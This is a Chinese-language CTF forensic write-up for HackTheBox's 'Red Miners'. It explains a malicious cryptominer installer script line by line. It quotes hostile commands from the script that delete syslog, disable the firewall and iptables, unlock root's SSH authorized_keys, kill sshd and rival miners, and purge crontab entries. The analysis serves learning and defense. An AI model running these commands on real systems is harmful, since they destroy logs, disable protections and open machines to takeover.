HackTheBox-Forensic— Red Miners #Linux

给了一个miner.zip里面是一个installer_miner.sh的挖矿文件

分析语法：

cleanEnv（）{ulimit -n 65535: 设置打开文件的最大数量为65535。
rm -rf /var/log/syslog: 删除/var/log/syslog日志文件。
chattr -iua /tmp/: 取消在/tmp目录上的所有文件的i（不可修改）、a（只能追加）和u（不能删除）属性。
ufw disable: 关闭防火墙。
iptables -F: 清除所有iptables规则。
echo "nope" >/tmp/log_rot: 在/tmp/log_rot文件中写入字符串"nope"。
sudo sysctl kernel.nmi_watchdog=0: 禁用内核NMI看门狗。
echo '0' >/proc/sys/kernel/nmi_watchdog: 将NMI看门狗设置为0。
echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf: 将上述设置添加到sysctl配置文件中。
userdel akay: 删除名为akay的用户。
userdel vfinder: 删除名为vfinder的用户。
chattr -iae /root/.ssh/: 取消在/root/.ssh目录中的所有文件的i（不可修改）、a（只能追加）和e（扩展属性）属性。
chattr -iae /root/.ssh/authorized_keys: 取消在/root/.ssh/authorized_keys文件上的i（不可修改）、a（只能追加）和e（扩展属性）属性。
rm -rf /tmp/addres*: 删除/tmp目录下的所有以addres开头的文件。
rm -rf /tmp/walle*: 删除/tmp目录下的所有以walle开头的文件。
rm -rf /tmp/keys: 删除/tmp/keys目录及其子目录和文件。
ps aux| grep "/dot"| grep -v grep | awk '{print $2}' | xargs -I % kill -9 %: 查找正在运行的包含"/dot"的进程，并将其杀死。
pkill -f hezb: 杀死所有包含hezb的进程。
ps aux| grep "tracepath"| grep -v grep | awk '{print $2}' | xargs -I % kill -9 %: 查找正在运行的包含"tracepath"的进程，并将其杀死。
pkill -f /tmp/.out: 杀死所有包含/tmp/.out的进程。
ps aux| grep "./ll1"| grep -v grep | awk '{print $2}' | xargs -I % kill -9 %: 查找正在运行的包含"./
pkill -f sshd: 杀死所有名为 "sshd" 的进程。
pkill -f htop: 杀死所有名为 "htop" 的进程。
netstat -anp | grep ":1414" | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "- " | xargs -I % kill -9 %: 查找所有监听在端口 1414 上的进程，并杀死它们。
netstat -anp | grep :14444 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %: 查找所有监听在端口 14444 上的进程，并杀死它们。
cat /tmp/.X11-unix/01|xargs -I % kill -9 %: 打开 /tmp/.X11-unix/01 文件并将其内容传递给 xargs 命令，然后使用 kill -9 命令杀死其中列出的所有进程。
cat /tmp/.X11-unix/11|xargs -I % kill -9 %: 类似于上一条命令，但是打开的是 /tmp/.X11-unix/11 文件。
kill -9 $(cat /tmp/.systemd.1): 打开 /tmp/.systemd.1 文件并将其内容传递给 kill -9 命令，从而杀死其中列出的进程。
cat /tmp/.pg_stat.0|xargs -I % kill -9 %: 打开 /tmp/.pg_stat.0 文件并将其内容传递给 xargs 命令，然后使用 kill -9 命令杀死其中列出的所有进程。
cat /tmp/.pg_stat.1|xargs -I % kill -9 %: 类似于上一条命令，但是打开的是 /tmp/.pg_stat.1 文件。
cat $HOME/data/./oka.pid|xargs -I % kill -9 %: 打开指定目录下的 oka.pid 文件并将其内容传递给 xargs 命令，然后使用 kill -9 命令杀死其中列出的所有进程。
pkill -f p8444: 杀死所有包含字符串 "p8444" 的进程。
pkill -f supportxmr: 杀死所有包含字符串 "supportxmr" 的进程。
pkill -f monero: 杀死所有包含字符串 "monero" 的进程。
}

cleanEnv这个函数把环境中阻碍挖矿的进程杀掉，还会检查其他挖矿的行为，如果有的话也会杀掉

cronCleanUp() {
crontab -l | sed '/base64/d' | crontab -
crontab -l | sed '/update.sh/d' | crontab -
crontab -l | sed '/logo4/d' | crontab -
crontab -l | sed '/logo9/d' | crontab -
crontab -l | sed '/logo0/d' | crontab -
[REDACTED]
}

cronCleanUp 删除原有的计划任务，contab -l 可以列举  用sed去掉之后 crontab编辑 将修改内容保存

flag的四个部分通过搜索 == 或者"base64 -d"可以找到，经过拼接，得到最后的结果